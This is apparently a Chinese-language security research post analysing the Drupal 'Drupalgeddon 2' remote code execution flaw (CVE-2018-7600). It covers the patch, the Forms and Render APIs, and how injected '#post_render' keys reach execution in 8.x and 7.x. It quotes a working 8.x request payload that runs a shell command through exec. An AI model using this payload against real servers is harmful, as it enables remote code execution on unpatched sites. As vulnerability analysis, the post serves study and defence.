Drupal 7 CVE-2018-7600 Remote Code Execution

0x0 前言

3 月底 Drupal 官方放出一个 安全通告,其中描述了 Drupal 核心代码中的远程命令执行执行漏洞,但并未公布具体细节,同时在推送的 更新补丁 中,加入了对输入 HTTP 参数的过滤:

protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) {
    if (is_array($input)) {
        foreach ($input as $key => $value) {
            if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
                unset($input[$key]);
                $sanitized_keys[] = $key;
            }
            else {
                $input[$key] = self::stripDangerousValues($input[$key], $whitelist, $sanitized_keys);
            }
        }
    }
    return $input;
}

根据补丁内容,如果传入的参数名为 # 开头,则对其进行移除。于是根据补丁中提供的线索,一场军备竞赛开始了 0v0。而在昨天的时候,CheckPoint 的安全研究员率先发布了漏洞的细节,同时 @a2u 发布了针对 8.x 的 PoC

0x1 Drupal 模块

Drupal 使用模块化的方式,将整个程序的功能进行分离。在 Drupal 7.x 中,核心模块位于 ./modules 目录下,其中包括系统、文件、用户、权限管理等模块;对于用户模块,可以将其放置于 ./sites/all/modules 中。

在自定义模块中,至少需要实现两个文件:<module_name>.module<module_name>.info

其中 info 储存模块的一些描述信息:

core = "7.x"
description = "A demo module"
name = "Demo"

module 则包含主要的逻辑实现:

<?php

// blabla...

在 Drupal 中,# 符号主要用于 Forms API 和 Render API,例如下面的模块绘制一个简单的窗口:

function demo_form($form, &$form_states) {
    $form['name'] = [
        '#type' => 'textfield',
        '#title' => t('Name'),
    ];
    $form['submit_button'] = [
        '#type' => 'submit', 
        '#value' => t('hello there')
    ];
    return $form;
}

function demo_form_validate($form, &$form_states) {
}

function demo_form_submit($form, &$form_states) {
}

模块的函数使用 <module_name>_form 的规则进行定义,在 Drupal 中称为 hook 函数,当对模块进行访问时,会对这些符合规则的函数进行调用,并进行渲染输出。根据函数名的后缀,可以很容易推测函数的功能。

在构建窗口的函数中,我们初始化了一个名为 name 的控件,并使用 #type 设置其类型为 textfield,每种类型的控件会对应特定的处理、渲染回调函数:

drupal_element_callback

可以发现 Drupal 这样做的初衷,是为了将 View 进行分离,以方便对主题样式进行结构化的定制。

但是要对模块进行访问,还需要定义 hook_menu 函数:

function demo_menu() {
    $items = [];
    $items['demo/form'] = [
        'title' => 'Demo page',
        'page callback' => 'drupal_get_form',
        'page arguments' => ['demo_form'],
        'access callback' => TRUE,
        'description' => 'Nothing here',
        'type' => MENU_NORMAL_ITEM,
    ];
    return $items;
}

page callback 对应的值 drupal_get_form 为 Forms API 中的函数,该函数作为链接的回调函数,进一步调用用户函数 demo_form 来获取表单信息,并对表单进行构建输出。

在后台启用该模块后,对模块进行访问:

drupal_moduel_example

0x2 模块渲染

Drupal 对控件元素的渲染,主要由 ./includes/common.inc 中的 drupal_render 函数实现。为了实现较为丰富的渲染功能,在定义控件时,可以为控件设置一些渲染生命周期函数:

drupal_render_life_time_callback

作为预定义的参数,这些属性通常在外部无法进行修改。因此 Drupal 在对控件元素进行处理时,这些回调函数作为“可信源”,没有任何验证便可以直接执行。

0x3 问题复现

在 Drupal 获取获取用户请求后,会对表单进行构建,下面是 name 文本控件被构建后的结构,可以看到我们输入的值 Kadokawa 位于 #value 键中:

drupal_element_built

在 Drupal 8.x 中,根据 CheckPoint 公布的漏洞信息,该问题位于 ./core/modules/file/src/Element/ManagedFile.php 文件中的 uploadAjaxCallback 函数:

drupal_vul_function

首先获取 GET 请求中的 element_parents 参数,在对其进行分割后传入到 NestedArray::getValue 函数中。该函数主要是遍历分割后数组,并作为链式键获取 $form 中的对应的值:

<?php

$form = [
    'key' =>
    [
        'inner' => 'secret',
    ]
]
var_dump(NestedArray::getValue($form, ['key', 'inner'])); // string(6) => "secret"

在函数返回之后,将其传入到 renderRoot 函数进行渲染,这个函数同 7.x 的 `drupal_render 功能相同。

所以可以看到的 PoC 的 payload 是类似这样子的:

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {
    'form_id': 'user_register_form', 
    '_drupal_ajax': '1', 
    'mail[#post_render][]': 'exec', 
    'mail[#type]': 'markup', 
    'mail[#markup]': 'touch /tmp/frozenme.txt'
}

在 Drupal 对控件进行处理后,会构建出下面的控件:

$form => [
    'mail' => [
        '#value' => [
            '#post_render' => ['exec'],
            '#type' => 'markup',
            '#markup' => 'touch /tmp/frozenme.txt'
        ]
    ]
]

而在遍历 mail -> #value 键后,最终构建被渲染的 $form

$form => [
    '#post_render' => ['exec'],
    '#type' => 'markup',
    '#markup' => 'touch /tmp/frozenme.txt'
]

0x4 Own the World

ManagedFiletextfield 类似,主要实现 #typemanaged_file 的控件,该控件实际上被渲染为一个 表单,同时还加入了 AJAX 异步上传功能。

在 Drupal 7.x 中,该控件由 ./modules/file/file.module 模块实现,对应的异步处理函数为 file_ajax_upload

在该函数中,同样可以对表单进行覆盖:

drupal_7_x_vul_function

最后传入到 drupal_render 中执行:

drupal_7_x_render

在测试模块中添加上传控件:

function demo_form($form, &$form_states) {
    $form['name'] = [
        '#type' => 'textfield',
        '#title' => 'Name',
    ];
    $form['avatar'] = [
        '#type' => 'managed_file',
        '#title' => 'Avatar',
        '#description' => 'Upload your favor avatar'
    ];
    $form['submit_button'] = ['#type' => 'submit', '#value' => t('hello there')];
    return $form;
}

Drupal 默认使用 AJAX 对上传文件进行处理:

drupal_managed_file

在上传点构建对应参数:

drupal_7_x_payload

调用栈:

drupal_7_x_back_trace

回调函数触发后,命令被成功执行:

drupal_7_x_rce

0x5 最后

Drupal 在 AJAX 上传处理中,原本是想对父控件进行遍历渲染,但由于没有对输入参数进行过滤,导致外部可以构造预设指令,执行回调函数。

而比较有趣的是,Durpal 在 managed_file 控件中实现了多文件上传,使得文件字段可以传入数组形式的值,并最终被带入到 #value 属性中(对于普通控件,使用数组形式传递的字段将不会被正常解析。

0x6 References

Uncovering Drupalgeddon 2

Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002

SA-CORE-2018-002 by Jasu_M, samuel.mortenson, David_Rothstein, xjm, mlhess, larowlan, pwolanin, alexpott, dsnopek, Pere Orga, cashwilliams, dawehner, tim.plunkett, drumm

Upload files using managed file form API

Creating Custom Elements

How to Make a Simple Module with a Form and Menu Link